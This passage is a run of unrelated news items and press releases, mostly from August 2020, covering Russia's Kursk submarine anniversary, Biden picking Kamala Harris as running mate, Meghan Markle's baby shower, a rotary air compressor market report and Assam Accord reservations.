received injuries incompatible with life, said the respective statement in the official Telegram channel of the Ministry of Internal Affairs of Belarus. The circumstances of the incident are being clarified. Angry Bayswater residents are calling for a redesign of the suburb's soon-to-be-built train station after the plans were mocked on social media over their resemblance to a Bunnings trestle table. The group of 140 locals plans to present a petition to Parliament calling for a re-think of the design, which they say differs from original drawings released in 2018 and looks like "a bulky freeway overpass". The shelters of the proposed Bayswater train station have been the source of social media jokes for their resemblance to a Bunnings trestle table. Designs for the transport hub were unveiled by Planning Minister Rita Saffioti in June, along with plans for four other stations along Metronet's billion-dollar Ellenbrook line. Artist's impressions by designer Coleman Rail show plans for an outdoor station on an overpass above King William Street, in the heart of town, with trackside shelters and retail spaces on the ground floor. PUNE: Sugar factories are likely to erect Covid care centres in rural Maharashtra after an appeal by the state government. Nationalist Congress Party (NCP) chief Sharad Pawar told co-operative minister Balasaheb Patil to urge sugar factories to erect the centres wherever necessary. Sugar commissioner Shekhar Gaikwad said that an official appeal will be send to sugar factories soon. Gaikwad said, Factories near urban areas could set up to the centres mainly for asymptomatic patients. It would not be mandatory, but owners are expected to erect it voluntarily. Gaikwad said, The Vighnahar co-operative factory helped us to erect a Covid care centre at Ozar in Pune district. We expect owners of other factories to follow the example. Pawar, while instructing Patil, said, Many factories have godowns with tin roofs that are lying vacant. It is very easy to erect the centres at these places. A sugar commissioner official, on condition of anonymity, said that mainly sugar factories located in Solapur are expected to set up Covid care centres. Police in Palma have launched a massive operation against one of the main International pickpocket groups in the capital. The operation was led by the Organised Crime Group with the support of Palma Local Police, the Judicial Police, Prevention and Reaction Unit, or UPR, Canine Unit, Condor team, Rayos Motorized Unit and Citizen Security Brigade groups from Higher Police Headquarters. At 7 oclock on Tuesday morning more than 50 National Police Officers took part in simultaneous raids on a dozen private homes, commercial premises, garages and a hostel in different parts of Palma. The Romanian gang is based in the capital and has branches throughout Spain and other European cities which are allegedly dedicated to theft, robbery with force and violence. Technavio has been monitoring the rotary air compressor market and it is poised to grow by USD 1.88 billion during 2020-2024, progressing at a CAGR of 2% during the forecast period. The report offers an up-to-date analysis regarding the current market scenario, latest trends and drivers, and the overall market environment. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20200811005076/en/ Technavio has announced its latest market research report titled Global Rotary Air Compressor Market 2020-2024 (Graphic: Business Wire) Technavio suggests three forecast scenarios (optimistic, probable, and pessimistic) considering the impact of COVID-19. Please request Free Sample Report on COVID-19 Impact Frequently Asked Questions- At what CAGR is the market projected to grow during the forecast period 2020-2024? Growing at a CAGR of over 2%, the market growth will accelerate during the forecast period of 2020-2024. What is the key factor driving the market? Rising number of HVAC installations is one of the key factors driving market growth. What are the top players in the market? Atlas Copco AB, DENSO Corp., Elgi Equipments Ltd., General Electric Co., Hitachi Ltd., Ingersoll Rand Inc., Kobe Steel Ltd., Mitsubishi Heavy Industries Ltd., Siemens AG, and Volkswagen AG. are some of the major market participants. Which region is expected to hold the highest market share in the market? APAC What is the major trend of the market? Growing preference for energy efficient rotary air compressors is a major growth factor for the market. The market is fragmented, and the degree of fragmentation will accelerate during the forecast period. Atlas Copco AB, DENSO Corp., Elgi Equipments Ltd., General Electric Co., Hitachi Ltd., Ingersoll Rand Inc., Kobe Steel Ltd., Mitsubishi Heavy Industries Ltd., Siemens AG, and Volkswagen AG are some of the major market participants. The rising number of HVAC installations will offer immense growth opportunities. To make the most of the opportunities, market vendors should focus more on the growth prospects in fast-growing segments, while maintaining their position in the slow-growing segments. Rotary Air Compressor Market 2020-2024: Segmentation Rotary Air Compressor Market is segmented as below: End-user Manufacturing Industry Mining and Metallurgy Industry Others Geography APAC Europe North America MEA South America To learn more about the global trends impacting the future of market research, download a free sample: https://www.technavio.com/talk-to-us?report=IRTNTR43872 Rotary Air Compressor Market 2020-2024: Scope Technavio presents a detailed picture of the market by the way of study, synthesis, and summation of data from multiple sources. Our rotary air compressor market report covers the following areas: Rotary Air Compressor Market size Rotary Air Compressor Market trends Rotary Air Compressor Market analysis This study identifies growing preference for energy efficient rotary air compressors as one of the prime reasons driving the rotary air compressor market growth during the next few years. Rotary Air Compressor Market 2020-2024: Vendor Analysis We provide a detailed analysis of vendors operating in the rotary air compressor market, including some of the vendors such as Atlas Copco AB, DENSO Corp., Elgi Equipments Ltd., General Electric Co., Hitachi Ltd., Ingersoll Rand Inc., Kobe Steel Ltd., Mitsubishi Heavy Industries Ltd., Siemens AG, and Volkswagen AG. Backed with competitive intelligence and benchmarking, our research reports on the rotary air compressor market are designed to provide entry support, customer profile and M&As as well as go-to-market strategy support. Register for a free trial today and gain instant access to 17,000+ market research reports. Technavio's SUBSCRIPTION platform Rotary Air Compressor Market 2020-2024: Key Highlights CAGR of the market during the forecast period 2020-2024 Detailed information on factors that will assist rotary air compressor market growth during the next five years Estimation of the rotary air compressor market size and its contribution to the parent market Predictions on upcoming trends and changes in consumer behavior The growth of the rotary air compressor market Analysis of the market's competitive landscape and detailed information on vendors Comprehensive details of factors that will challenge the growth of rotary air compressor market vendors Table of Contents: Executive Summary Market Landscape Market ecosystem Value chain analysis Market Sizing Market definition Market segment analysis Market size 2019 Market outlook: Forecast for 2019 2024 Five Forces Analysis Five forces summary Bargaining power of buyers Bargaining power of suppliers Threat of new entrants Threat of substitutes Threat of rivalry Market condition Market Segmentation by End-user Market segments Comparison by end-user Manufacturing industry Market size and forecast 2019-2024 Mining and metallurgy industry Market size and forecast 2019-2024 Others Market size and forecast 2019-2024 Market opportunity by end-user Customer landscape Geographic Landscape Geographic segmentation Geographic comparison APAC Market size and forecast 2019-2024 Europe Market size and forecast 2019-2024 North America Market size and forecast 2019-2024 MEA Market size and forecast 2019-2024 South America Market size and forecast 2019-2024 Key leading countries Market opportunity by geography Market drivers Market challenges Market trends Vendor Landscape Vendor landscape Landscape disruption Vendor Analysis Vendors covered Market positioning of vendors Atlas Copco AB DENSO Corp. Elgi Equipments Ltd. General Electric Co. Hitachi Ltd. Ingersoll Rand Inc. Kobe Steel Ltd. Mitsubishi Heavy Industries Ltd. Siemens AG Volkswagen AG Appendix Scope of the report Currency conversion rates for US$ Research methodology List of abbreviations About Us Technavio is a leading global technology research and advisory company. Their research and analysis focuses on emerging market trends and provides actionable insights to help businesses identify market opportunities and develop effective strategies to optimize their market positions. With over 500 specialized analysts, Technavio's report library consists of more than 17,000 reports and counting, covering 800 technologies, spanning across 50 countries. Their client base consists of enterprises of all sizes, including more than 100 Fortune 500 companies. This growing client base relies on Technavio's comprehensive coverage, extensive research, and actionable market insights to identify opportunities in existing and potential markets and assess their competitive positions within changing market scenarios. View source version on businesswire.com: https://www.businesswire.com/news/home/20200811005076/en/ Contacts: Technavio Research Jesse Maida Media Marketing Executive US: +1 844 364 1100 UK: +44 203 893 3200 Email: media@technavio.com Website: www.technavio.com/ Varun Dhawan pens emotional note after sudden demise of his driver of 26 years: "He was my everything" Originality on a shoestring budget is the hallmark of the St. Lou Fringe Festival, which returns Saturday through Aug. 23 for its ninth edition. But this time, the ambitiously eclectic performances will be presented in the virtual realm because of the ongoing pandemic. The lineup had been decided since March, with some of our headline acts being programmed the year before, says executive director Matthew Kerns. With the incursion of COVID-19, the festival was forced to grapple with what was even possible and how we were going to shape it. And we came to the decision that in-person (staging) wasnt going to be a safe option. But it was also decided to proceed with the event in some form, Kerns says. And going online has become the go-to strategy for dealing with the health crisis. We are in an unprecedented time, and artists are creating work that speaks to this specific era, he says. The schedule includes more than 20 productions from national headliner HERstory of HIStory, a performance poetry piece (Sunday and Aug. 22-23), to local headliner The Making of Flame and Shadow, an opera work-in-progress about St. Louis-born poet Sara Teasdale (Aug. 21-23). Secretary of State Mike Pompeo acted legally when he bypassed Congress to approve $8 billion in arms sales to Saudi Arabia, but failed to "fully assess risks and implement mitigation measures to reduce civilian casualties" that resulted from the deal, according to a report by the State Department inspector general. Why it matters: The 2019 sale drew bipartisan ire among lawmakers, who worried it could lead to a pattern of the administration using "emergency declarations" to circumvent Congress to approve weapons deals. The report comes two months after former Inspector General Steve Linick testified that he was pressured by a top Pompeo aide to drop the investigation. At the time of his firing, which is being investigated by House Democrats, Linick was conducting five probes into the State Department and Pompeo, including allegations of misuse of staff. Pompeo has denied that he engineered Linick's removal because of the investigations and has called the former watchdog a "bad actor." Details: The transfer of weapons to Saudi Arabia and the United Arab Emirates, which was made after President Trump declared an emergency over tensions with Iran, "was executed in accordance with the requirements" of the Arms Control Export Act, according the inspector general report. The report also found the State Department "regularly" approved arms deals with Saudi Arabia that didn't meet the threshold to notify Congress. Under the Trump administration, the two countries conducted 4,221 "below-threshold arms transfers" with an estimated value of $11.2 billion. The OIG made one recommendation to the State Department, which is classified. The investigation was conducted from Oct. 22 to Dec. 16, 2019, but the report was not complete when the administration fired Linick in May this year. The inspector general's office conducted 46 interviews with "Department stakeholders" during its investigation. It sought to interview Pompeo, but "the Secretary instead submitted a written statement to OIG in February." Worth noting: In a briefing call with reporters on Monday, State Department officials portrayed the report as a total exoneration, without mentioning its criticisms, according to Bloomberg. The big picture: Both Republicans and Democrats in the Senate last year voted in favor of blocking the arms sales to Saudi Arabia, citing the murder of journalist Jamal Khashoggi and the brutal Saudi-led war in Yemen, where U.S. weapons have helped create one of the world's humanitarian crises. Trump vetoed the resolutions. Read the full report. President Trump was abruptly escorted from a press briefing by the Secret Service after shots were fired outside the White House on Monday. Photo: Brendan Smialowski/Getty Images I like the selection of Harris. As I wrote in an earlier column, I was hoping Biden would choose a woman of color from his list of highly qualified candidates. You can call that identity politics, and maybe it is, but your identity gives you a lens and a set of experiences that you bring with you when you get a seat at the table. And we need that lens and those experiences to reflect what its like to live and breathe in this country in skin thats not white, especially now. MOSCOW -- In August 2000, the nuclear submarine Kursk left a port above Russias Arctic Circle for naval exercises on the Barents Sea. Not long after departure, one of the torpedoes on board the vessel exploded in its hatch, killing most of the 118 crew members and sending the wreck, along with 23 survivors, hurtling to the seafloor. The blast was picked up on seismographs across Europe, but the Russian Navy made no public acknowledgement of the catastrophe. President Vladimir Putin, then just over three months into his first Kremlin term, continued vacationing on the Black Sea and made no statement about the Kursk for more than a week until his reluctant return to Moscow. In the submarine wreck, the 23 men barricaded themselves in a flooded rear compartment and awaited a rescue that never came. It wasnt until nine days after the incident, on August 21, that a team of British and Norwegian divers accessed the vessel and found its entire crew dead. Two decades on, a catastrophe that reshaped Russias political system remains shrouded in mystery, compounded by the effects of the cover-up that followed it. On August 12, Russia is marking the 20th anniversary of the Kursks sinking with low-key ceremonies. In St. Petersburg, the names of all 118 crew members will be recited at a church service before a flower-laying ceremony at a local cemetery where 23 of them lie buried. Our main task today is to remember our heroes, remember the commander, and remember the crew. We want all our residents, and all Russians, to once again return to those events, St. Petersburg official Aleksandr Rzhanenkov told a press conference on August 10. At least six other cities announced commemorative events. But despite its role as a defining moment for Russias political trajectory under Putin, the episode that marked the first major challenge of his presidency has in some ways faded from collective memory amid its continued exclusion from state TV reports and official statements. A survey conducted by the Levada Center pollster in 2015 -- to coincide with the 15th anniversary of the catastrophe -- found that the proportion of Russians who believed the authorities had failed in their response had more than halved, a phenomenon that Levadas Director Lev Gudkov attributed at the time to a lack of official coverage of this and other tragedies in which authorities are seen as complicit. Putin acted "dishonorably" after news of the tragedy emerged, Gudkov said, and subsequently has sought to ensure that the episode, and its fallout, gradually slip from peoples minds. Silence about this catastrophe has led to a situation where a very large proportion of people has simply forgotten about it, Gudkov told RFE/RL by phone. Censorship in the media has blocked information about it, and only on social networks has discussion continued. However, Gudkov speculated that if Levada had repeated its survey this year, the percentage of responses critical of the official response in 2000 would have risen from the findings of 2015, somewhat reversing the trend the previous survey exposed. Putins approval rating has been steadily falling over the past two years, ushering in a political mood that inspires fewer favorable assessments of his two-decade rule. INTERACTIVE: The Tragedy Of The Kursk (from 2015) But the silence on government-funded TV, which despite the rise of social media still serves as the primary source of news for the population at large, highlights in itself the extent to which the political landscape in Russia has changed in the 20 years since the Kursk catastrophe. 'Simply Forgotten' In August 2000, the channels that laud Putin today were owned by private individuals and often scathing in their portrayal of his government. Channel One, owned at the time by the late tycoon Boris Berezovsky, broadcast relentless reports about the authorities bungled response and compared its handling of the Kursk disaster to the Chernobyl nuclear power plant accident of 1986. In Putins People, a new book investigating Putins rise by journalist Catherine Belton, a person once close to the Russian president says the newly minted leader was paralyzed by fear when the Kursk disaster struck, and livid over the ways TV amplified his desultory response. He didnt know how to deal with it, and therefore he tried to avoid dealing with it, Belton quotes the former Putin ally as saying. The Norwegians and others were calling in with offers of help. But he did not want them to uncover that everyone was dead, and so he just refused the help -- which, of course, made everything worse. When Putin finally visited the closed military city that served as the Kursks home port and spoke to a hall packed with bereaved relatives a full 10 days after the catastrophe, he put the blame on Russias economic and military decline over the previous decade before he came to power -- and denounced the TV channels that had slammed his fumbled response. They bought the media and now theyre manipulating public opinion, he said of Berezovsky and other powerful media magnates. In the months that followed, Putins government would bring Channel One under the control of the state, forcing Berezovsky to sell his stake under duress and eventually flee Russia, and seized the NTV channel from another business titan, Vladimir Gusinsky. His government would also launch a major program to revive Russias military, ratcheting up defense spending and drawing accusations of backtracking on democracy as he moved to institute a centralized political system that the country retains to this day. But the Kursk tragedy has remained an unsightly scar on Putins record. In 2010, on its 10th anniversary, neither he, as prime minister at the time, nor then-President Dmitry Medvedev made any public comments on modern Russia's worst naval disaster. (Newser) Handcuff an 8-year-old? Florida police tried it in 2018 but found the boy's wrists too small for the cuffs, NBC News reports. Attorney Benjamin Crump tweeted bodycam footage of the incident Sunday, which has already racked up 2.3 million hits: "Unbelievable," he writes, adding that Key West Police "used 'scared straight' tactics on 8yo boy with special needs. He's 3.5 ft tall and 64 lbs, but they thought it was appropriate to handcuff and transport him to an adult prison for processing!!" According to Crump, the boy was placed with a substitute teacher who didn't know about his special needs "and who escalated the situation by using her hands to forcibly move him." story continues below Police say trouble began when the teacher saw the boy sitting oddly at a lunch table and asked him to sit with her, per the Washington Post. The boy apparently said "Don't put your hands on me," and the teacher took him for walk, during which he cursed and punched her in the chest. But Crump says the boy has behavioral and emotional disabilities and should have been in the school's individualized educational program. Now Crumpwho also represents George Floyd's familyplans to file a civil lawsuit against the officers involved. But police, who walked the boy out without handcuffs and charged him with felony battery, say they did nothing wrong: "Based on the report, standard operating procedures were followed," Key West Police Chief Sean T. Brandenburg tells the Miami Herald. (Read more arrest stories.) RIVERSIDE, Calif., Aug. 11, 2020 /PRNewswire/ -- Every year, the American Institute of Trial Lawyers chooses a handful of the nation's leading attorneys to receive their "Litigator of the Year" award. Attorney Zulu Ali received this award for 2020. ATTORNEY ZULU ALI, LITIGATOR OF THE YEAR 2020 The American Institute of Trial Lawyers is a professional organization that accepts attorneys on an invitation-only basis. Each year, the organization selects less than 1% of legal professionals for their "Litigator of the Year" award. This title is awarded based on peer nominations, as well as third-party research. The award is designed to highlight the nation's top attorneys who possess an exceptional level of skill, knowledge and experience. Attorney Zulu Ali, is a U.S. Marine Corps veteran who served with the Marine Security Forces. After graduating from the Tennessee Law Enforcement Training Academy, Attorney Ali served as a sworn police officer with the City of Shelbyville, City of Lewisburg, and Vanderbilt Police Departments, respectively. Attorney Ali earned a earned a doctorate in law (J.D.) from Trinity International University; and an undergraduate degree with a focus on African Studies from Regents College through a consortium with Tennessee State University. He is a postgraduate scholar of international law at Euclid University, West Africa; and a doctoral scholar of business with a research focus on Pan-African business and trade at California Southern University. Attorney Ali has been admitted to the California State Bar; United States District Courts for the districts of Central California, Southern California, Northern California, and Colorado; United States Court of Appeals for the Fifth, Ninth, Tenth, and Eleventh Circuits; United States Supreme Court; African Court on Human and Peoples' Rights; and the International Criminal Court in the Hague, Netherlands. Attorney Zulu Ali is the founder and principal of the Law Offices of Zulu Ali & Associates, LLP with a focus on representing persons accused of crimes and seeking criminal justice, immigrants, victims of discrimination, persons seeking civil justice in state and federal courts, and defendants and victims at the international criminal court at The Hague, Netherlands. In 2020, Attorney Ali was inducted into the prestigious Marquis Who's Who in America for excellence in law and activism; and, in 2017, Attorney Ali was recognized as one of the most influential African American Leaders in Los Angeles by the National Action Network founded by Reverend Al Sharpton. Attorney Ali has been recognized by the National Black Lawyers-Top 100 and National Trial Lawyers-Top 100; a Top 10 Lawyer by the American Academy of Trial Attorneys, American Institute of Legal Counsel, American Jurist Institute, Attorney & Practice Magazine; and Rue Ratings Best Lawyer in America. Attorney Ali is host of the nationally syndicated radio talk show Justice Watch with Attorney Zulu Ali ; and he is a member of the National Black Radio Hall of Fame. Press Contact: Law Offices of Zulu Ali & Associates, LLP c/o Rosa Nunez, Media Specialists [email protected] 951-782-8722 SOURCE LAW OFFICES OF ZULU ALI & ASSOCIATES, LLP Hours after former Rajasthan deputy chief minister Sachin Pilot announced that he is ready to work with Rajasthan CM Ashok Gehlot for the betterment of the state, Pilot on Tuesday (August 11) hit out at CM Gehlot for his 'Pilot is a nikamma and nakaara' remarks. Pilot said that he has imbibed certain values from his family and will never use bad language against anyone under any circumstance. The Tonk MLA added that CM Gehlot is elder to him and he respects him for that. "I imbibed certain values from my family, no matter how much I oppose anyone, I've never used such language. Ashok Gehlot ji is elder to me & I respect him personally but I have the right to raise work-related concerns," said Pilot. The former Rajasthan Congress chief reiterated that he does not harbour wish to occupy a post and is more focused on working for the development of the state. "We need to work in the direction of strengthening the public's confidence and trust in us," said Pilot. Talking about his meeting with Congress leaders Rahul Gandhi and Priyanka Gandhi, Pilot saod that both these leaders heard his grievances patiently and assured him that the Congress will soon design a road map to resolve his grievances. "A three-member committee has been formed by Congress after issues raised by me and some MLAs. The issues we raised were of importance. There is no place for malice or personal enmity in politics," Pilot noted. On Sunday (August 9), Pilot had met senior AICC leaders and a separate meeting was also fixed with Rahul Gandhi, who on Monday met Pilot where Priyanka Gandhi Vadra remained present. Sachin Pilot explained the circumstances in which he decided to revolt against CM Gehlot and came to Haryana with his loyalist MLAs. Pilot, however, assured on Monday that he and other rebel Congress leaders would come back to the party fold and vote for CM Gehlot during the trust vote as the Assembly session is set on begin on August 14. By Express News Service CHENNAI: One of the major relaxations put down by the state government as a part of Unlock 3.0. is the reopening of temples and gyms after a long hiatus on Monday. Places of worship with annual revenue of less than Rs 10,000 were allowed to open. With Krishna Jayanti and many other major festivals like Vinayagar Chathurthi and Navratri lined up in August, large crowds are expected to throng temples, said temple authorities. Also, with the Muharram festival starting this month, mosques are expected to witness large crowds.During poojas and abhishekam, the public will not be allowed to witness the event, said a police officer. For the fitness enthusiast After taking a number of precautions the gyms in the city have reopened. Many fitness enthusiasts said that they were informed by their local gyms to compulsorily wear face shields, gym gloves and other preventive gear before entering the gym premises. We have made a schedule for every individual. We will have only 10 customers in our gym per hour. The staff will work on alternative days, said V Mohanraj who runs a gym at Avadi. Gyms which have several chains throughout the city have created a mobile application for their customers to know the dos and donts. The Duchess of Sussex's lavish $500,000 New York baby shower last February left palace aids horrified, new biography Finding Freedom claims. Meghan Markle, 39, who celebrated the impending birth of her firstborn son with Prince Harry, 35, by flying to the Big Apple by private jet last year, apparently left senior courtiers 'spitting out their morning tea' when pictures of the luxurious affair emerged. Last year Meghan provoked an outcry when she flew by private jet to the US for a five-day baby shower celebration. Around 20 friends attended, including Serena Williams and Amal Clooney. Scroll down for video The Duchess of Sussex's lavish $500,000 New York baby shower last February left palace aids horrified, new biography Finding Freedom claims. Meghan Markle and actress Abigail Spencer seen leaving the hotel last year And an extract in the new book released today, written by British journalists Omid Scobie and Carolyn Durant, reveals just how palace insiders reacted. It reads: 'While the trip had been a hit with Meghan, senior courtiers back in the UK were spitting out their morning tea when they saw her lavish baby shower thrown by friends turn into a media circus with what looked like carefully stage-managed paparazzi walks of the duchess in big black sunglasses from her hotel to her car and a laundry list of insider party details reported by US press. 'It's fair to say that the optics of the somewhat flashy shower did not go down well with certain individuals at the Palace,' a senior aide revealed. It continues: 'Meghan was often criticized for being too Hollywood, meaning too flashy. Especially for the reserved aesthetic of the monarchy.' Meghan Markle, 39, who celebrated the impending birth of her firstborn son with Prince Harry, 35, by flying to the Big Apple by private jet last year, apparently left senior courtiers 'spitting out their morning tea' when pictures of the luxurious affair emerged. Seen: The Mark Hotel Presents for the guests? On the day of Meghan's shower, about 17 Away suitcases were delivered to The Mark Hotel, each of which cost $225. A source told the authors: 'I think a few people that had defended her over the months felt a little disappointed. But sometimes in this role you're damned if you do and damned if you don't. 'Ultimately, the trip was just Meghan's friends celebrating a really exciting moment in her life.' Last February Meghan and her closest friends partied at The Mark hotel in Manhattan, in one of the world's most expensive suites. The cost of Meghan's New York baby shower Private jet from the UK to New York, round trip - $250,000 The Mark Hotel Grand Penthouse Suite - $150,000 Five nights in a one-bedroom suite at The Mark Hotel - $9,982.05 Dinner for five at The Polo Bar - approx. $420 Lunch at Cafe Bolud - approx. $78 Afternoon tea for two at Laduree - approx. $45 Two Royal Protection officers - $14,213 Harp player Erin Hill - $625 17 Away carry-on suitcases - $3,825 Gifts: Babyletto Hudson 3-in-1 Convertible Crib - $379 10ft mandarin tree - approx. $140 Lady Fleur NYC roses - approx. $399.95 Trek bicycle - approx. $609.99 Carnival King cotton candy machine - $199.99 JZ Events - $50,000 Lewis Miller - $20,000 Advertisement Markle and Spencer grabbed lunch together before being joined by the rest of the group for dinner at The Polo Bar, the swank New York eatery owned by designer Ralph Lauren. Then, on the day of, she welcomed even newer friends to her party at The Mark, including human rights lawyer Amal Clooney and King, who scored an invitation despite being kept off the guest list at Markle's wedding. Her mother's absence also meant that Markle had not one family member at the party, including new sister-in-law Kate Middleton, though baby showers have never been a British tradition. The shower was hosted by Serena Williams, Jessica Mulroney and Genevieve Hillis, who has been Markle's best friend since the age of 17 when they met at Northwestern. 'It was a small, private affair, and a special time for her,' said CBS presenter, Gayle King. 'Having a baby is a great thing.' A video, which emerged on social media after the shower, appeared to give a glimpse of the very lavish set up. Royal fan account harry_meghan_updates, run by Instagram user Francesca, shared a video on its Story, claiming that the short clip was actually captured inside the star-studded baby shower. It captures the dessert buffet on offer to guests which was designed by illustrator Darcy Miller, and featured four macaron towers from Laduree, which cost a total of $460. The Duchess' close pals were also treated to stork-shaped cake pops and miniature slices of carrot cake, as well as multiple cupcakes iced in pink and green frosting. The crowing glory was a two tiered cake which featured a miniature paper cut out of Harry and Meghan stood next to a pram - believed to be the work of event designer Darcy Miller, who has been credited with putting together the lavish dessert buffet at the event. Guests at Meghan Markle's lavish baby shower in New York City left the intimate gathering with high-end gift bags filled with luxe leather tote bags filled with the royal's favorite products. Lavish: The baby shower took place in the Penthouse Suite at The Mark Hotel, which is widely reported to be the most expensive per-night hotel room in the U.S. Goodies! Daniel shared a picture of the cookies from Meghan's star-studded baby shower in New York, saying he had 'such an incredible day celebrating' Luxe: Attendees were gifted Cuyana leather totes that were filled to the brim with some of the royal's favorite products. The totes cost $175-$195 depending on style The buffet featured stork cake pops, macaron towers, and miniature slices of carrot cake. The Instagram poster noted that a majority of the confections were pink High-profile guests were seen leaving the Mark Hotel's incredible Grand Penthouse Suite, which costs a staggering $75,000 per night. The new details were revealed in biography Finding Freedom, which went on sale today According to People, guests were gifted Cuyana leather totes that were filled to the brim with products, much like Oscars swag bags. The totes, which retail for $175-$195 depending on style, included $67 Jo Malone Green Tomato Leaf scented candles, $65 Tatcha Rice Enzyme Powder, and $81 Susanne Kaufmann Body Butter. They also reportedly featured products from Rodin and Jessica Alba's company Honest Beauty. Brands often send celebrities free gifts in the hopes of getting press, and with Meghan's shower making headlines around the world, it's likely that companies were more than willing to offer up products for the guests' gift bags. On the day of Meghan's shower, about 17 Away suitcases were delivered to The Mark Hotel, each of which cost $225. Appointment 11 August 2020 InterContinental Hotels Group ("IHG") [LON:IHG, NYSE:IHG (ADRs)] today announces that Graham Allan is to be appointed as an Independent Non-Executive Director of IHG. He will join the IHG Board with effect from 1 September 2020. Graham is currently Senior Independent Non-Executive Director at Intertek Group plc and Independent Non-Executive Director of Associated British Foods plc. He also serves as a director of private companies as Chairman of Bata Footwear, Director of Americana Foods and Chairman of Nando's Restaurants. He was Group Chief Executive of Dairy Farm International Holdings Ltd, (a multi-format Asian retailer headquartered in Hong Kong), for five years before retiring from executive roles in December 2017. From 2003-2012, he was President and CEO of Yum Restaurants International and led the development of global brands KFC, Pizza Hut and Taco Bell in more than 120 international markets. During this time, he served on the IHG Board as a Non-Executive Director from 2010-2012, when he moved to Hong Kong as Chief Operating Officer of Dairy Farm International. Prior to his tenure with Yum Restaurants, he held senior positions in multi-national food and beverage companies and worked as a management consultant at McKinsey & Co. Inc. Graham will serve on the Audit and Remuneration Committees of the IHG Board. Pursuant to LR 9.6.13R, Graham is Senior Independent Director at Intertek Group plc, and Non-Executive Director of Associated British Foods plc. J oe Biden has chosen Senator Kamala Harris as his running mate, making her the first black woman on a major party presidential ticket. Mr Biden made the announcement on Twitter, calling it a "great honour" to name Ms Harris as his number two. He said the California senator was "a fearless fighter for the little guy, and one of the countrys finest public servants", also referencing her work alongside his son, Beau, when she was the state's attorney general. "Back when Kamala was Attorney General, she worked closely with Beau," he added. "I watched as they took on the big banks, lifted up working people, and protected women and kids from abuse. I was proud then, and I'm proud now to have her as my partner in this campaign." Ms Harris, a 55-year-old first-term senator and former rival of Mr Biden's from the Democratic primary, is one of the partys most prominent figures. She quickly became a top contender for the number two spot after her own White House campaign ended. She joins Mr Biden in the 2020 race at a time of unprecedented national crisis. The coronavirus pandemic has claimed the lives of more than 150,000 people in the US, far more than the toll experienced in other countries. California senator Kamala Harris will run for vice president / AFP via Getty Images Business closures and disruptions resulting from the pandemic have caused an economic collapse. Meanwhile unrest has emerged across the country as Americans protest racism and police brutality. Donald Trumps uneven handling of the crises has given Mr Biden an opening, and he enters the autumn campaign in strong position against the president. US election: Biden stretches lead over Trump to eight points In adding Ms Harris to the ticket, he can point to her relatively centrist record on issues such as healthcare and her background in law enforcement in the nations largest state. She was California attorney general and district attorney in San Francisco, and her record was heavily scrutinised during the Democratic primary. Some liberals and younger black voters saw her as out of step on issues of systemic racism in the legal system and police brutality. She tried to strike a balance on these issues, declaring herself a progressive prosecutor who backs law enforcement reforms. Mr Biden, who spent eight years as president Barack Obamas vice president, has spent months weighing who would fill that same role in his White House. He pledged in March to select a woman as his vice president. Mr Biden considered Massachusetts Sen Elizabeth Warren, a leading progressive, Florida Rep Val Demings, whose impeachment prosecution of Mr Trump won plaudits, California Rep Karen Bass, who leads the Congressional Black Caucus, former Obama national security adviser Susan Rice and Atlanta Mayor Keisha Lance Bottoms, whose passionate response to unrest in her city gained national attention. A woman has never served as president or vice president in the United States. Two women have previously been nominated as running mates on major party tickets: Democrat Geraldine Ferraro in 1984 and Republican Sarah Palin in 2008. Their party lost in the general election. The vice presidential pick carries increased significance this year. If elected, Mr Biden would be 78 when he is inaugurated in January, the oldest man to ever assume the presidency. He has spoken of himself as a transitional figure and has not fully committed to seeking a second term in 2024. If he declines to do so, his running mate would likely become a front-runner for the nomination that year. Additional reporting by the Associated Press Prasanta Mazumdar By Express News Service GUWAHATI: As the Centre is allegedly sitting idle, the All Assam Students Union (AASU) on Tuesday released the confidential report of the high-level committee on Clause 6 of the Assam Accord. The AASU, which had three members in the committee, said people had the right to know the contents of the report submitted to the Centre more than five months ago. The committee was constituted by the Centre towards the implementation of the Accords Clause 6 which says: Constitutional, legislative and administrative safeguards, as may be appropriate, shall be provided to protect, preserve and promote the culture, social, linguistic identity and heritage of the Assamese people. The committee recommended that the Assam Accord must be fully implemented in a time-bound manner so as to facilitate detection and deportation of the foreigners in Assam. The Committee noted that the Accord is yet to be fully and effectively implemented even after 35 years of its signing. It sought prompt and adequate measures to completely seal the India-Bangladesh border in the line of India-Pakistan border. Till the deportation of post-1971 stream of declared foreigners is completed, they should be resettled in areas outside Assam as an interim measure, the committee suggested. After deliberations and consideration of various representations from the stakeholders and further, on the basis of interactions with various organisations and individuals, the committee concluded that the definition of the term Assamese people for the specific purpose of implementation of the Clause 6 of the Accord should consist of indigenous tribals as well as other indigenous communities of Assam over and above indigenous Assamese. It recommended that while providing constitutional, legislative and administrative safeguards in terms of Clause 6 of the Accord, the term Assamese people shall be construed as regards citizens of India who are part of the Assamese community, any indigenous tribal community of Assam, any other indigenous community of Assam and all other citizens of India residing in Assam on or before January 1, 1951, and their descendants. The committee recommended the reservation of seats in Parliament, Assam Legislative Assembly and local bodies. It suggested that 80 to 100% of seats in Parliament, which are allotted to Assam, should be reserved for the Assamese people. Further, it recommended reservation of seats for the Assamese people in the state Assembly and local bodies to the extent of 80 to 100% which will be inclusive of pre-existing reservations. The committee also recommended the making of adequate provisions for an Upper House (Legislative Council of Assam) with reservation of all seats for the Assamese People. It suggested that adequate measures be taken for provisions in respect of the Inner Line Permit (ILP) system in Assam, reservation of 80 to 100% of Group C and D level posts in central government, semi-central government, central PSUs, private sector falling and arising in Assam, 80 to 100% of jobs under state government and its undertakings and 70 to 100% of vacancies arising in private partnerships in the state for the Assamese people. As regards land rights, the committee recommended that the provisions of Assam Land Revenue and Regulation, 1886 (as amended) should be strictly followed. In addition, the land rights be confined to the Assamese people putting restrictions on transferring the same by any means to other persons other than Assamese people. It suggested that the policy pertaining to Assams official language be given appropriate constitutional protection under Article 371 B. Good Morning America It may take weeks to repair an undersea fiber-optic cable connecting Tonga to the rest of the world, which was severed during Saturday's massive eruption of a submarine volcano near the South Pacific archipelago nation. New Zealand's Ministry of Foreign Affairs and Trade said in a statement Wednesday that U.S.-based company SubCom, which builds underwater cable networks across the globe and is the repair contractor for more than 31,000 miles of cable in the South Pacific Ocean, "advises it will take at least four weeks for Tonga's cable connection to be repaired." The ministry said Caribbean-based mobile network provider Digicel has set up an interim system on Tonga's main island, Tongatapu, using the University of South Pacific's satellite dish, which may allow a 2G connection to be established Wednesday, though it will be "limited and patchy." MUMBAI: The Enforcement Directorate on Tuesday (August 11) questioned actor Sushant Singh Rajput's elder sister Meetu 